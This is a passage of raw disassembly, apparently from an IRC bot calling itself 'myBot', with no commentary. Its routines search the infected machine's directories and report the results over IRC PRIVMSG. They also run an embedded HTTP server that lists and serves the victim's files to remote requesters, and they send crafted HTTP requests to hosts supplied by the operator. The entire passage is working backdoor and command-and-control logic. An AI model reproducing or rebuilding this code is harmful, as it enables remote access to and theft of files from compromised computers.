dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 598h push ebx push esi push edi push 41h pop ecx xor eax, eax lea edi, [ebp+var_598] rep stosd mov edi, [ebp+arg_0] xor ebx, ebx push offset asc_4216D8 ; "\n" push edi mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_415289 cmp [ebp+arg_8], ebx pop ecx pop ecx jz short loc_4041FF push edi push [ebp+arg_8] mov esi, 200h push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" lea eax, [ebp+var_24C] push esi push eax call sub_41466D add esp, 14h jmp loc_40431C ; --------------------------------------------------------------------------- loc_4041FF: ; CODE XREF: sub_4041A6+34j cmp [ebp+arg_C], ebx jz loc_404301 mov eax, edi lea ecx, [eax+1] loc_40420D: ; CODE XREF: sub_4041A6+6Cj mov dl, [eax] inc eax test dl, dl jnz short loc_40420D push edi sub eax, ecx and [eax+edi-1], dl push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... mov esi, 200h lea eax, [ebp+var_24C] push esi push eax call sub_41466D lea eax, [ebp+var_24C] add esp, 10h lea ecx, [eax+1] loc_40423E: ; CODE XREF: sub_4041A6+9Dj mov dl, [eax] inc eax test dl, dl jnz short loc_40423E push ebx sub eax, ecx push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call dword_43589C ; send push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_24C] push esi push eax call sub_41466D lea eax, [ebp+var_24C] add esp, 10h lea ecx, [eax+1] loc_404278: ; CODE XREF: sub_4041A6+D7j mov dl, [eax] inc eax test dl, dl jnz short loc_404278 push ebx sub eax, ecx push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call dword_43589C ; send mov eax, edi lea ecx, [eax+1] loc_404298: ; CODE XREF: sub_4041A6+F7j mov dl, [eax] inc eax test dl, dl jnz short loc_404298 push 3Ch push 96h push 0E6h sub eax, ecx push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... mov byte ptr [eax+edi], 2Ah lea eax, [ebp+var_24C] push esi push eax call sub_41466D lea eax, [ebp+var_24C] add esp, 18h lea ecx, [eax+1] loc_4042CF: ; CODE XREF: sub_4041A6+12Ej mov dl, [eax] inc eax test dl, dl jnz short loc_4042CF push ebx sub eax, ecx push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call dword_43589C ; send push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_24C] push esi push eax call sub_41466D add esp, 0Ch jmp short loc_40431C ; --------------------------------------------------------------------------- loc_404301: ; CODE XREF: sub_4041A6+5Cj push edi push offset aSearchingForS ; "Searching for: %s\r\n" mov esi, 200h lea eax, [ebp+var_24C] push esi push eax call sub_41466D add esp, 10h loc_40431C: ; CODE XREF: sub_4041A6+54j ; sub_4041A6+159j lea eax, [ebp+var_24C] lea edx, [eax+1] loc_404325: ; CODE XREF: sub_4041A6+184j mov cl, [eax] inc eax test cl, cl jnz short loc_404325 push ebx sub eax, edx push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call dword_43589C ; send mov eax, [ebp+arg_C] cmp eax, ebx jz loc_4043CF lea edx, [eax+1] loc_40434E: ; CODE XREF: sub_4041A6+1ADj mov cl, [eax] inc eax test cl, cl jnz short loc_40434E sub eax, edx cmp eax, 2 jbe short loc_4043CF mov eax, [ebp+arg_C] lea edx, [eax+1] loc_404362: ; CODE XREF: sub_4041A6+1C1j mov cl, [eax] inc eax test cl, cl jnz short loc_404362 sub eax, edx add eax, 0FFFFFFFDh cmp eax, ebx jz short loc_40437E loc_404372: ; CODE XREF: sub_4041A6+1D6j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_40437E dec eax jnz short loc_404372 loc_40437E: ; CODE XREF: sub_4041A6+1CAj ; sub_4041A6+1D3j inc eax push eax push [ebp+arg_C] lea eax, [ebp+var_598] push eax call sub_4144A0 lea eax, [ebp+var_598] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_24C] push esi push eax call sub_41466D lea eax, [ebp+var_24C] add esp, 1Ch lea ecx, [eax+1] loc_4043B4: ; CODE XREF: sub_4041A6+213j mov dl, [eax] inc eax test dl, dl jnz short loc_4043B4 push ebx sub eax, ecx push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call dword_43589C ; send loc_4043CF: ; CODE XREF: sub_4041A6+19Fj ; sub_4041A6+1B4j lea eax, [ebp+var_38C] push eax push edi call ds:dword_420054 ; FindFirstFileA lea ecx, [ebp+var_38C] push ecx push eax mov [ebp+var_C], eax call ds:dword_420050 ; FindNextFileA test eax, eax jz loc_4047FC mov ebx, 1FFh loc_4043FB: ; CODE XREF: sub_4041A6+650j cmp [ebp+var_38C], 0 jz loc_4047E4 push 3 mov edi, offset a__ ; ".." lea esi, [ebp+var_360] pop ecx xor eax, eax repe cmpsb jz loc_4047E4 push 2 mov edi, offset a__0 ; "." lea esi, [ebp+var_360] pop ecx xor eax, eax repe cmpsb jz loc_4047E4 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_378] push eax call ds:dword_420068 ; FileTimeToLocalFileTime lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_24] push eax call ds:dword_420064 ; FileTimeToSystemTime mov ax, [ebp+var_14] cmp ax, 0Ch mov ecx, offset aPm ; "PM" ja loc_4044F9 mov ecx, offset aAm ; "AM" movzx eax, ax loc_404472: ; CODE XREF: sub_4041A6+359j push ecx movzx ecx, [ebp+var_12] push ecx push eax movzx eax, [ebp+var_1C] push eax movzx eax, [ebp+var_16] push eax movzx eax, [ebp+var_1A] push eax lea eax, [ebp+var_4C] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_414415 add esp, 20h xor edi, edi test byte ptr [ebp+var_38C], 10h jz loc_404648 inc [ebp+var_8] cmp [ebp+arg_8], edi jz short loc_404504 lea eax, [ebp+var_360] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_494] push 106h push eax call sub_41466D lea eax, [ebp+var_4C] push eax lea eax, [ebp+var_494] push eax push [ebp+arg_8] lea eax, [ebp+var_24C] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" push 200h push eax call sub_41466D add esp, 28h jmp loc_4047B0 ; --------------------------------------------------------------------------- loc_4044F9: ; CODE XREF: sub_4041A6+2BEj movzx eax, ax sub eax, 0Ch jmp loc_404472 ; --------------------------------------------------------------------------- loc_404504: ; CODE XREF: sub_4041A6+308j cmp [ebp+arg_C], edi jz loc_404602 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_24C] push ebx push eax call sub_41466D lea eax, [ebp+var_24C] add esp, 10h lea esi, [eax+1] loc_404530: ; CODE XREF: sub_4041A6+38Fj mov cl, [eax] inc eax test cl, cl jnz short loc_404530 push edi sub eax, esi push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call dword_43589C ; send lea eax, [ebp+var_360] push eax push [ebp+arg_C] lea eax, [ebp+var_24C] push offset aSS_2 ; "%s%s/" push ebx push eax call sub_41466D lea eax, [ebp+var_24C] add esp, 14h lea esi, [eax+1] loc_404573: ; CODE XREF: sub_4041A6+3D2j mov cl, [eax] inc eax test cl, cl jnz short loc_404573 push edi sub eax, esi push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call dword_43589C ; send lea eax, [ebp+var_360] lea esi, [eax+1] loc_404597: ; CODE XREF: sub_4041A6+3F6j mov cl, [eax] inc eax test cl, cl jnz short loc_404597 sub eax, esi cmp eax, 1Eh lea eax, [ebp+var_360] push eax lea eax, [ebp+var_24C] jbe short loc_4045B9 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_4045BE ; --------------------------------------------------------------------------- loc_4045B9: ; CODE XREF: sub_4041A6+40Aj push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_4045BE: ; CODE XREF: sub_4041A6+411j push ebx push eax call sub_41466D lea eax, [ebp+var_24C] add esp, 10h lea edx, [eax+1] loc_4045D1: ; CODE XREF: sub_4041A6+430j mov cl, [eax] inc eax test cl, cl jnz short loc_4045D1 push edi sub eax, edx push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call dword_43589C ; send push 3Ch lea eax, [ebp+var_4C] push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push ebx jmp loc_4047A1 ; --------------------------------------------------------------------------- loc_404602: ; CODE XREF: sub_4041A6+361j lea eax, [ebp+var_360] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_494] push 106h push eax call sub_41466D lea eax, [ebp+var_4C] push eax lea eax, [ebp+var_494] push eax push offset a31s21s ; "%-31s %-21s\r\n" loc_40462F: ; CODE XREF: sub_4041A6+4CAj lea eax, [ebp+var_24C] push 200h push eax call sub_41466D add esp, 24h jmp loc_4047B0 ; --------------------------------------------------------------------------- loc_404648: ; CODE XREF: sub_4041A6+2FCj inc [ebp+var_4] cmp [ebp+arg_8], edi jz short loc_404672 push edi push [ebp+var_36C] call sub_402B01 push eax lea eax, [ebp+var_4C] push eax lea eax, [ebp+var_360] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" jmp short loc_40462F ; --------------------------------------------------------------------------- loc_404672: ; CODE XREF: sub_4041A6+4A8j cmp [ebp+arg_C], edi jz loc_404786 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_24C] push ebx push eax call sub_41466D lea eax, [ebp+var_24C] add esp, 10h lea esi, [eax+1] loc_40469E: ; CODE XREF: sub_4041A6+4FDj mov cl, [eax] inc eax test cl, cl jnz short loc_40469E push edi sub eax, esi push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call dword_43589C ; send lea eax, [ebp+var_360] push eax push [ebp+arg_C] lea eax, [ebp+var_24C] push offset aSS ; "%s%s" push ebx push eax call sub_41466D lea eax, [ebp+var_24C] add esp, 14h lea esi, [eax+1] loc_4046E1: ; CODE XREF: sub_4041A6+540j mov cl, [eax] inc eax test cl, cl jnz short loc_4046E1 push edi sub eax, esi push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call dword_43589C ; send lea eax, [ebp+var_360] lea esi, [eax+1] loc_404705: ; CODE XREF: sub_4041A6+564j mov cl, [eax] inc eax test cl, cl jnz short loc_404705 sub eax, esi cmp eax, 1Fh lea eax, [ebp+var_360] push eax lea eax, [ebp+var_24C] jbe short loc_404727 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_40472C ; --------------------------------------------------------------------------- loc_404727: ; CODE XREF: sub_4041A6+578j push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_40472C: ; CODE XREF: sub_4041A6+57Fj push ebx push eax call sub_41466D lea eax, [ebp+var_24C] add esp, 10h lea edx, [eax+1] loc_40473F: ; CODE XREF: sub_4041A6+59Ej mov cl, [eax] inc eax test cl, cl jnz short loc_40473F push edi sub eax, edx push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call dword_43589C ; send mov eax, [ebp+var_36C] shr eax, 0Ah push eax push 3Ch lea eax, [ebp+var_4C] push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... lea eax, [ebp+var_24C] push ebx push eax call sub_41466D add esp, 1Ch jmp short loc_4047B0 ; --------------------------------------------------------------------------- loc_404786: ; CODE XREF: sub_4041A6+4CFj push [ebp+var_36C] lea eax, [ebp+var_4C] push eax lea eax, [ebp+var_360] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" push 200h loc_4047A1: ; CODE XREF: sub_4041A6+457j lea eax, [ebp+var_24C] push eax call sub_41466D add esp, 18h loc_4047B0: ; CODE XREF: sub_4041A6+34Ej ; sub_4041A6+49Dj ... lea eax, [ebp+var_24C] lea edx, [eax+1] loc_4047B9: ; CODE XREF: sub_4041A6+618j mov cl, [eax] inc eax test cl, cl jnz short loc_4047B9 push edi sub eax, edx push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call dword_43589C ; send cmp [ebp+arg_8], edi jz short loc_4047E4 push 0FAh call ds:dword_420000 ; Sleep loc_4047E4: ; CODE XREF: sub_4041A6+25Cj ; sub_4041A6+274j ... lea eax, [ebp+var_38C] push eax push [ebp+var_C] call ds:dword_420050 ; FindNextFileA test eax, eax jnz loc_4043FB loc_4047FC: ; CODE XREF: sub_4041A6+24Aj push [ebp+var_C] call ds:dword_42004C ; FindClose xor esi, esi cmp [ebp+arg_8], esi jz short loc_404841 mov eax, [ebp+var_8] cdq push edx push eax call sub_402B01 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_402B01 pop ecx pop ecx push eax push [ebp+arg_8] lea eax, [ebp+var_24C] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_414415 add esp, 14h jmp short loc_40486F ; --------------------------------------------------------------------------- loc_404841: ; CODE XREF: sub_4041A6+664j cmp [ebp+arg_C], esi lea eax, [ebp+var_24C] jz short loc_40485B push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_414415 pop ecx pop ecx jmp short loc_40486F ; --------------------------------------------------------------------------- loc_40485B: ; CODE XREF: sub_4041A6+6A4j push [ebp+var_8] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_414415 add esp, 10h loc_40486F: ; CODE XREF: sub_4041A6+699j ; sub_4041A6+6B3j lea eax, [ebp+var_24C] lea edx, [eax+1] loc_404878: ; CODE XREF: sub_4041A6+6D7j mov cl, [eax] inc eax test cl, cl jnz short loc_404878 push esi sub eax, edx push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call dword_43589C ; send pop edi pop esi xor eax, eax pop ebx leave retn sub_4041A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40489A proc near ; CODE XREF: sub_404AC0+12Bp var_40C = byte ptr -40Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 40Ch push ebx push esi xor esi, esi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov [ebp+var_4], 400h mov [ebp+var_C], esi call ds:dword_420044 ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_404957 push esi push ebx call ds:dword_420094 ; GetFileSize mov edx, eax cmp edx, esi mov [ebp+var_8], edx jz short loc_404950 push edi jmp short loc_4048E8 ; --------------------------------------------------------------------------- loc_4048E5: ; CODE XREF: sub_40489A+B3j mov edx, [ebp+var_8] loc_4048E8: ; CODE XREF: sub_40489A+49j xor eax, eax cmp [ebp+var_4], edx mov ecx, 100h lea edi, [ebp+var_40C] rep stosd jbe short loc_4048FF mov [ebp+var_4], edx loc_4048FF: ; CODE XREF: sub_40489A+60j push 2 push esi neg edx push edx push ebx call ds:dword_420090 ; SetFilePointer push esi lea eax, [ebp+var_C] push eax push [ebp+var_4] lea eax, [ebp+var_40C] push eax push ebx call ds:dword_42008C ; ReadFile push esi push [ebp+var_4] lea eax, [ebp+var_40C] push eax push [ebp+arg_0] call dword_43589C ; send cmp eax, 0FFFFFFFFh jnz short loc_40494A call dword_4358C0 ; WSAGetLastError cmp eax, 2733h jnz short loc_40494F xor eax, eax loc_40494A: ; CODE XREF: sub_40489A+9Fj sub [ebp+var_8], eax jnz short loc_4048E5 loc_40494F: ; CODE XREF: sub_40489A+ACj pop edi loc_404950: ; CODE XREF: sub_40489A+46j push ebx call ds:dword_42003C ; CloseHandle loc_404957: ; CODE XREF: sub_40489A+31j pop esi pop ebx leave retn sub_40489A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40495B proc near ; CODE XREF: sub_404C2E+182p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push ebx mov ecx, eax push esi xor esi, esi lea edx, [ecx+1] loc_40496A: ; CODE XREF: sub_40495B+14j mov bl, [ecx] inc ecx test bl, bl jnz short loc_40496A sub ecx, edx mov [ebp+arg_0], ecx jz short loc_404995 loc_404978: ; CODE XREF: sub_40495B+38j cmp byte ptr [esi+eax], 5Ch jnz short loc_404982 mov byte ptr [esi+eax], 2Fh loc_404982: ; CODE XREF: sub_40495B+21j mov ecx, eax inc esi lea edx, [ecx+1] loc_404988: ; CODE XREF: sub_40495B+32j mov bl, [ecx] inc ecx test bl, bl jnz short loc_404988 sub ecx, edx cmp esi, ecx jb short loc_404978 loc_404995: ; CODE XREF: sub_40495B+1Bj pop esi pop ebx pop ebp retn sub_40495B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404999 proc near ; CODE XREF: sub_4089DC+51FFp var_4A4 = byte ptr -4A4h var_314 = byte ptr -314h var_114 = byte ptr -114h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A4h push edi lea eax, [ebp+var_4A4] push eax push 101h call dword_435818 ; WSAStartup push 6 push 1 push 2 call dword_435808 ; socket push [ebp+arg_14] mov [ebp+var_4], eax xor eax, eax lea edi, [ebp+var_14] stosd stosd stosd stosd mov [ebp+var_14], 2 call dword_435954 ; htons push [ebp+arg_10] mov [ebp+var_12], ax call sub_407BFF pop ecx mov [ebp+var_10], eax push 10h lea eax, [ebp+var_14] push eax push [ebp+var_4] call dword_4357C0 ; connect cmp eax, 0FFFFFFFFh jz short loc_404A79 mov eax, [ebp+arg_20] test eax, eax jnz short loc_404A0C mov eax, (offset asc_420AE8+2) loc_404A0C: ; CODE XREF: sub_404999+6Cj push ebx push esi push [ebp+arg_10] mov ebx, 100h push eax push [ebp+arg_1C] lea eax, [ebp+var_114] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push ebx push eax call sub_41466D lea eax, [ebp+var_114] add esp, 1Ch lea esi, [eax+1] loc_404A3B: ; CODE XREF: sub_404999+A7j mov cl, [eax] inc eax test cl, cl jnz short loc_404A3B push 0 sub eax, esi push eax lea eax, [ebp+var_114] push eax push [ebp+var_4] call dword_43589C ; send push 40h pop ecx push 0 push ebx lea eax, [ebp+var_114] push eax push [ebp+var_4] xor esi, esi lea edi, [ebp+var_114] rep movsd call dword_43577C ; recv pop esi pop ebx loc_404A79: ; CODE XREF: sub_404999+65j push [ebp+var_4] call dword_435914 ; closesocket call dword_435920 ; WSACleanup lea eax, [ebp+var_114] push eax lea eax, [ebp+var_314] push eax call sub_414415 cmp [ebp+arg_C], 0 pop ecx pop ecx pop edi jnz short locret_404ABE push 0 push [ebp+arg_8] lea eax, [ebp+var_314] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4056BF add esp, 14h locret_404ABE: ; CODE XREF: sub_404999+109j leave retn sub_404999 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_404AC0 proc near ; DATA XREF: sub_404C2E+24Eo var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov eax, 1654h lea ebp, [esp-74h] call sub_414630 mov eax, [ebp+74h+arg_0] push ebx push esi push edi mov esi, eax mov ecx, 0ECh lea edi, [ebp+74h+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+74h+var_3C8] push eax lea eax, [ebp+74h+var_550] push eax call sub_414415 lea eax, [ebp+74h+var_2C4] push eax lea eax, [ebp+74h+var_654] push eax call sub_414415 xor ebx, ebx add esp, 10h cmp [ebp+74h+var_A4], ebx lea eax, [ebp+74h+var_9C] jz short loc_404B28 push offset aTextHtml ; "text/html" jmp short loc_404B2D ; --------------------------------------------------------------------------- loc_404B28: ; CODE XREF: sub_404AC0+5Fj push offset aApplicationOct ; "application/octet-stream" loc_404B2D: ; CODE XREF: sub_404AC0+66j push eax call sub_414415 pop ecx pop ecx push 46h lea eax, [ebp+74h+var_68] push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push ebx push ebx mov esi, 409h push esi call ds:dword_42009C ; GetDateFormatA push 1Eh lea eax, [ebp+74h+var_20] push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call ds:dword_420098 ; GetTimeFormatA cmp [ebp+74h+var_B8], 0FFFFFFFFh lea eax, [ebp+74h+var_20] push eax lea eax, [ebp+74h+var_68] push eax lea eax, [ebp+74h+var_20] push eax lea eax, [ebp+74h+var_68] push eax lea eax, [ebp+74h+var_20] push eax lea eax, [ebp+74h+var_68] push eax lea eax, [ebp+74h+var_9C] jnz short loc_404B9A push eax lea eax, [ebp+74h+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_414415 add esp, 24h jmp short loc_404BB2 ; --------------------------------------------------------------------------- loc_404B9A: ; CODE XREF: sub_404AC0+C1j push [ebp+74h+var_B8] push eax lea eax, [ebp+74h+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_414415 add esp, 28h loc_404BB2: ; CODE XREF: sub_404AC0+D8j lea eax, [ebp+74h+var_1654] lea edx, [eax+1] loc_404BBB: ; CODE XREF: sub_404AC0+100j mov cl, [eax] inc eax cmp cl, bl jnz short loc_404BBB push ebx sub eax, edx push eax lea eax, [ebp+74h+var_1654] push eax push [ebp+74h+var_44C] call dword_43589C ; send cmp [ebp+74h+var_A4], ebx jnz short loc_404BF4 lea eax, [ebp+74h+var_550] push eax push [ebp+74h+var_44C] call sub_40489A pop ecx pop ecx jmp short loc_404C11 ; --------------------------------------------------------------------------- loc_404BF4: ; CODE XREF: sub_404AC0+11Cj lea eax, [ebp+74h+var_654] push eax push ebx push [ebp+74h+var_44C] lea eax, [ebp+74h+var_550] push eax call sub_4041A6 add esp, 10h loc_404C11: ; CODE XREF: sub_404AC0+132j push [ebp+74h+var_44C] call dword_435914 ; closesocket push [ebp+74h+var_B4] call sub_41255E pop ecx push ebx call ds:dword_420014 ; ExitThread int 3 ; Trap to Debugger sub_404AC0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404C2E proc near ; CODE XREF: sub_404EE8+37Cp var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi push 41h xor eax, eax pop ecx lea edi, [ebp+var_210] rep stosd mov eax, [ebp+arg_8] xor esi, esi cmp byte ptr [eax], 2Fh mov [ebp+var_4], esi push eax jz short loc_404C5C push offset aS_8 ; "\\%s" jmp short loc_404C64 ; --------------------------------------------------------------------------- loc_404C5C: ; CODE XREF: sub_404C2E+25j mov byte ptr [eax], 5Ch push offset aS_2 ; "%s" loc_404C64: ; CODE XREF: sub_404C2E+2Cj lea eax, [ebp+var_10C] push eax call sub_414415 lea eax, [ebp+var_10C] add esp, 0Ch xor edi, edi lea ecx, [eax+1] loc_404C7E: ; CODE XREF: sub_404C2E+55j mov dl, [eax] inc eax test dl, dl jnz short loc_404C7E sub eax, ecx mov [ebp+arg_8], eax jz short loc_404D04 push 2 pop ebx loc_404C8F: ; CODE XREF: sub_404C2E+D4j lea eax, [ebp+var_10C] lea edx, [eax+1] loc_404C98: ; CODE XREF: sub_404C2E+6Fj mov cl, [eax] inc eax test cl, cl jnz short loc_404C98 sub eax, edx cmp ebx, eax jnb short loc_404CD1 cmp [ebp+esi+var_10C], 25h jnz short loc_404CD1 cmp [ebp+esi+var_10B], 32h jnz short loc_404CD1 cmp [ebp+esi+var_10A], 30h jnz short loc_404CD1 inc esi inc esi inc ebx mov [ebp+edi+var_210], 20h inc ebx jmp short loc_404CEB ; --------------------------------------------------------------------------- loc_404CD1: ; CODE XREF: sub_404C2E+75j ; sub_404C2E+7Fj ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_404CE1 push 5Ch pop eax jmp short loc_404CE4 ; --------------------------------------------------------------------------- loc_404CE1: ; CODE XREF: sub_404C2E+ACj movsx eax, al loc_404CE4: ; CODE XREF: sub_404C2E+B1j mov [ebp+edi+var_210], al loc_404CEB: ; CODE XREF: sub_404C2E+A1j inc esi lea eax, [ebp+var_10C] inc ebx inc edi lea ecx, [eax+1] loc_404CF7: ; CODE XREF: sub_404C2E+CEj mov dl, [eax] inc eax test dl, dl jnz short loc_404CF7 sub eax, ecx cmp esi, eax jb short loc_404C8F loc_404D04: ; CODE XREF: sub_404C2E+5Cj lea eax, [ebp+var_210] push eax push [ebp+arg_4] lea eax, [ebp+var_314] push offset aSS ; "%s%s" push eax call sub_414415 lea eax, [ebp+var_314] push offset asc_4216D8 ; "\n" push eax call sub_415289 add esp, 18h lea eax, [ebp+var_314] push eax call ds:dword_4200A0 ; GetFileAttributesA xor ebx, ebx inc ebx cmp eax, 10h jz short loc_404D55 cmp eax, 0FFFFFFFFh jnz short loc_404D58 push [ebp+arg_0] jmp loc_404DDD ; --------------------------------------------------------------------------- loc_404D55: ; CODE XREF: sub_404C2E+118j mov [ebp+var_4], ebx loc_404D58: ; CODE XREF: sub_404C2E+11Dj cmp [ebp+edi+var_211], 5Ch jnz short loc_404D65 mov [ebp+var_4], ebx loc_404D65: ; CODE XREF: sub_404C2E+132j mov eax, [ebp+arg_0] xor edi, edi cmp [ebp+var_4], edi mov [ebp+var_6C4], eax mov [ebp+var_318], edi jz short loc_404DE8 cmp [ebp+arg_C], edi jz short loc_404DDC lea edi, [ebp+var_314] dec edi loc_404D87: ; CODE XREF: sub_404C2E+15Fj mov al, [edi+1] inc edi test al, al jnz short loc_404D87 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] mov esi, offset asc_421994 ; "*" push eax movsw call sub_414415 lea eax, [ebp+var_210] push eax call sub_40495B lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_414415 or [ebp+var_330], 0FFFFFFFFh add esp, 14h mov [ebp+var_31C], ebx xor edi, edi jmp short loc_404E37 ; --------------------------------------------------------------------------- loc_404DDC: ; CODE XREF: sub_404C2E+150j push eax loc_404DDD: ; CODE XREF: sub_404C2E+122j call dword_435914 ; closesocket jmp loc_404ECF ; --------------------------------------------------------------------------- loc_404DE8: ; CODE XREF: sub_404C2E+14Bj push edi push edi push 3 push edi push ebx push 80000000h lea eax, [ebp+var_314] push eax call ds:dword_420044 ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_404E37 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_414415 pop ecx pop ecx push edi push esi mov [ebp+var_31C], edi call ds:dword_420094 ; GetFileSize push esi mov [ebp+var_330], eax call ds:dword_42003C ; CloseHandle loc_404E37: ; CODE XREF: sub_404C2E+1ACj ; sub_404C2E+1D7j mov esi, [ebp+arg_10] push esi lea eax, [ebp+var_8C4] push offset aHttpdWorkerThr ; "[HTTPD]: Worker thread of server thread"... push eax call sub_414415 push edi lea eax, [ebp+var_8C4] push 4 push eax call sub_41229A mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_4366A4[eax], esi lea eax, [ebp+var_8] push eax push edi lea eax, [ebp+var_6C4] push eax push offset sub_404AC0 push edi push edi call ds:dword_42000C ; CreateThread mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_4366B4[ecx], eax jnz short loc_404EDE push [ebp+arg_0] call dword_435914 ; closesocket call ds:dword_420008 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_8C4] push offset aHttpdFailedT_0 ; "[HTTPD]: Failed to start worker thread,"... push eax call sub_414415 lea eax, [ebp+var_8C4] push eax call sub_401EFF add esp, 10h loc_404ECF: ; CODE XREF: sub_404C2E+1B5j ; sub_404C2E+2B8j pop edi pop esi xor eax, eax pop ebx leave retn ; --------------------------------------------------------------------------- 